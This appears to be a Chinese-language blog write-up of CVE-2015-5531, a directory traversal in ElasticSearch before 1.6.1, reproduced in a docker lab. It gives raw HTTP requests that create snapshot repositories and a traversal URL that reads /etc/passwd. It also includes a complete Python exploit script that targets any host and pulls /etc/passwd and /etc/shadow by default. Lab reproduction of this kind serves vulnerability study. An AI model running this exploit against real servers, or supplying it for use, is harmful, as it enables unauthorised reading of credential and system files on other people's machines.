ElasticSearch 目录穿越漏洞(CVE-2015-5531)
1.漏洞影响版本
ElasticSearch < 1.6.1
2.漏洞危害
目录穿越漏洞
3.漏洞POC
cd /root/vulhub/elasticsearch/CVE-2015-5531 //进入本次复现的漏洞目录
docker-compose build
docker-compose up -d //docker-compose搭建环境
访问http://your-ip:9200,验证是否搭建成功

发送如下数据包,新建一个仓库
PUT /_snapshot/test HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test"
}
}

发送如下数据包,创建一个快照
PUT /_snapshot/test2 HTTP/1.1
Host: you-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
}
}

目录穿越读取任意文件
访问 http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

如上图,在错误信息中包含文件内容(编码后),对其进行解码即可获得文件
文末附Freebuf大佬POC

4.复盘
漏洞出现原因
elasticsearch 1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。
总结
参考URL:FreeBuf黑客与极客(FreeBuf.COM)大佬wenjian_tk0
主要解码10进制代码:
if req.status_code == 400:
data = req.json()
extrdata = re.findall(r'\d+', str(data['error']))
decoder = bytearray()
for i in extrdata[2:]:
decoder.append(int(i))
print colorize_green(decoder)
感谢大佬wenjian_tk0,小白略改大佬POC:
#!/usr/bin/env python
# -*- coding:utf8 -*-
"""
PoC for CVE-2015-5531
Affects ElasticSearch 1.6.0 and prior
"""
import re
import sys
import json
import requests
import urllib
import argparse
import traceback
import termcolor
def colorize_red(string):
"""
:param string:
:return
"""
return termcolor.colored(string, 'red')
def colorize_green(string):
"""
:param string:
:return:
"""
return termcolor.colored(string, 'green')
def create_repos(base_url):
"""
:param base_url:
:return: None
"""
for index, repo_name in enumerate(REPO_NAME_LST):
url = "{0}{1}".format(base_url, repo_name)
req = requests.post(url, json=DATA_REPO_LST[index])
if "acknowledged" in req.json():
print colorize_green("repository {0}: create success".format(repo_name))
def grab_file(vuln_url):
"""
:param xplurl:
:return:
"""
#print vuln_url
req = requests.get(vuln_url)
#print req.status_code
if req.status_code == 400:
data = req.json()
extrdata = re.findall(r'\d+', str(data['error']))
decoder = bytearray()
for i in extrdata[2:]:
decoder.append(int(i))
print colorize_green(decoder)
def exploit(**args):
"""
:param args:
:return:
"""
target = args['target']
port = args['port']
fpath = args['fpath'].split(',')
fpath = [urllib.quote(fp, safe='') for fp in fpath]
base_url = "http://{0}:{1}/_snapshot/".format(target, port)
#create elasticsearch repository for snapshot
create_repos(base_url)
#grab files
for fp in fpath:
vuln_url = '{0}{1}/{2}{3}'.format(base_url, REPO_NAME_LST[0], FCK, fp)
print colorize_red(urllib.unquote(fp)) + ":\n"
grab_file(vuln_url)
if __name__ == "__main__":
# for global
FCK = 'backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'
REPO_NAME_LST = ['test']
DATA_REPO_LST = [{"type": "fs", "settings": {"location":"/tmp/test30"}}, {"type": "fs", "settings": {"location":"/tmp/test30/snapshot-backdata"}}]
parser = argparse.ArgumentParser(usage="python cve-2015-5531.py options",
description="cve-2015-5531 Vuln PoC", add_help=True)
parser.add_argument('-t', '-target', metavar='TARGET', type=str, dest="target", required=True, help='eg: 127.0.0.1 or www.baidu.com')
parser.add_argument('-p', '-port', metavar='PORT', dest='port', type=int, default=9200, help='elasticsearch port default 9200')
parser.add_argument('-fpath', metavar='FPATH', dest='fpath', type=str,default='/etc/passwd,/etc/shadow', help='file to grab multi files separated by comma ')
args = parser.parse_args()
try:
exploit(**args.__dict__)
except:
traceback.print_exc()
网友评论